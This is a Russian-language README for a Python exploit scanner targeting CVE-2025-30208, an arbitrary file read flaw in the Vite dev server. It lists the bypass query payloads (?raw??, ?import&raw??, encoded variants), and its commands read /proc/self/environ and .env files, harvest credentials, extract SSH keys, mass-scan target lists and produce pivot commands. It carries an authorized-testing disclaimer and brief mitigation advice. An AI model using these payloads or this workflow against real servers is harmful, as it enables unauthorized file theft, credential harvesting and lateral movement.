
Эксплоит-сканер для CVE-2025-30208 (произвольное чтение файлов Vite) с многовариантным обнаружением обхода, сбором учетных данных, извлечением SSH-ключей и структурированным отчетом для авторизованного тестирования на проникновение.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Серьезность: CVSS 5.3 Средняя (сетевой доступ к dev-серверу)
⚠ Только для авторизованных тестов безопасности.
Несанкционированное использование систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения, является незаконным.
Dev-сервер Vite позволяет обслуживать произвольные файлы из файловой системы хоста через запросы /@fs/.
Отсутствующая проверка санитизации строки запроса в уязвимых версиях позволяет злоумышленнику добавлять специально созданные суффиксы для обхода списка разрешений и читать любые файлы, к которым имеет доступ процесс — включая файлы .env, закрытые ключи SSH, учетные данные облачных сервисов и записи /proc.
| Ветка | Последняя уязвимая | Исправленная |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Название | Суффикс / Запрос | Описание |
|---|---|---|
raw?? | ?raw?? | Хвостовые ?? нарушают rawRE |
import&raw?? | ?import&raw?? | ES-модуль + raw вместе |
raw? | ?raw? | Один хвостовой ? |
url&raw?? | ?url&raw?? | Режим URL в комбинации |
raw&url?? | ?raw&url?? | Обратный порядок параметров |
import&?raw | ?import&?raw | Некорректный префикс импорта |
sec-fetch | ?raw + заголовок Sec-Fetch | Контекст скрипта браузера |
raw-encoded | ?raw%3f%3f | URL-кодированные разделители |
double-slash | ?raw??/ | Обход с двойным слэшем (v5) |
pct-all | %3fraw%3f%3f | Полностью процентно-кодированный запрос (v5) |
raw-hash | ?raw??# | Обход через фрагмент якоря (v5) |
wasm-init | ?inline=1.wasm?init | Родственный CVE-2025-31125 (инициализация wasm) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Флаг | По умолчанию | Описание |
|---|---|---|
-t/--target | — | URL одиночной цели |
-l/--lists | — | Файл, содержащий по одной цели на строку |
--stealth | off | Добавлять случайные задержки между запросами |
--proxy | — | HTTP/HTTPS прокси (http://host:port) |
--timeout | 10 | Тайм-аут на один запрос в секундах |
--verify | off | Включить проверку TLS-сертификата |
--file | — | Прочитать конкретный путь на целевом хосте |
--save | — | Сохранить содержимое --file в локальный путь |
--full-chain | on | Запустить полную цепочку эксплуатации (проверка в реальном времени по умолчанию) |
--output | — | Записать JSON + Markdown отчёт в указанный базовый путь |
--workers | 10 | Параллельные рабочие потоки для массового сканирования |
--ports | см. ниже | Порты для проверки в массовом режиме (через запятую) |
--no-color/--plain | off | Отключить ANSI-коды цветов |
--safe-mode | off | Скрывать значения секретов в выводе терминала |
--show-secrets | off | Показывать полные секреты в терминале (переопределяет --safe-mode) |
--version | — | Вывести версию и выйти |
Порты массового сканирования по умолчанию: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Если указан --output /tmp/report, сканер записывает:
/tmp/report.json — машиночитаемые структурированные находки/tmp/report.md — человекочитаемый Markdown-отчётМассовое сканирование всегда выводит VULN_COUNT=N на последней строке для удобного использования в скриптах оболочки:
python main.py -l targets.txt | grep '^VULN_COUNT='
Сканирование одной цели выводит SCAN_STATUS=VULNERABLE|NOT_VULNERABLE в конце для автоматизации.
cve30208/
├── __init__.py — публичный API
├── __main__.py — точка входа python -m cve30208
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan константы
├── ui.py — ANSI коды цветов, Spin/NullSpin, вспомогательные функции терминала
├── utils.py — общие вспомогательные функции (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (проверка учетных данных в реальном времени)
│ включает реестр проверок для упрощения расширения
├── report.py — save_report(), make_md()
└── scanner.py — FR/R датаклассы, Scanner, bulk_scan(), main()
main.py — обратно-совместимый мост
requirements.txt
Сканер автоматически подавляет повторяющиеся артефакты, чтобы вывод оставался чистым
даже когда HOME равен /root или один и тот же секрет встречается в нескольких
файлах:
| Уровень | Механизм |
|---|---|
| Чтение файлов | stage_fs нормализует базовый список SSH-ключей с помощью dict.fromkeys и удаляет дублирующиеся пути из очереди reads до любого вывода. |
| Сохранение файлов | Scanner._save проверяет множество _seen_file_paths для каждого сканирования; дублирующиеся пути возвращают уже сохранённый FR без повторного добавления в r.files. |
| Секреты | Scanner._save дедуплицирует r.secrets глобально по (name, value) для всех файлов; дедупликация внутри файла обрабатывается отдельно в scan_secrets. |
| SSH-ключи | stage_ssh объединяет ключи с одинаковой подписью PEM (первые _PEM_SIG_LEN байт), встречающиеся в разных исходных файлах. |
| Команды перехода (pivot) | Блоки перехода индексируются по (key_source, host, port); одинаковые комбинации выводятся только один раз. |
Строка итога сообщает, сколько файлов, секретов и SSH-ключей было подавлено как дубликаты, например:
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates
--host 0.0.0.0 в ненадёжных сетях..env и удалите ненужные секреты из проекта.Данный инструмент предоставляется только для авторизованного тестирования на проникновение и исследований безопасности.
Используя этот инструмент, вы подтверждаете, что имеете явное письменное разрешение на тестирование целевых систем.
Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.
CVE-2025-30208 PoC v5
Сгенерированный JSON теперь включает:
schema_version (текущая: 1.0.0)status (VULNERABLE или NOT_VULNERABLE)safe_mode (true, когда был включён режим скрытия секретов в терминале)report_redacted (true, когда существовал хотя бы один секрет, и он был скрыт в сохранённых отчётах)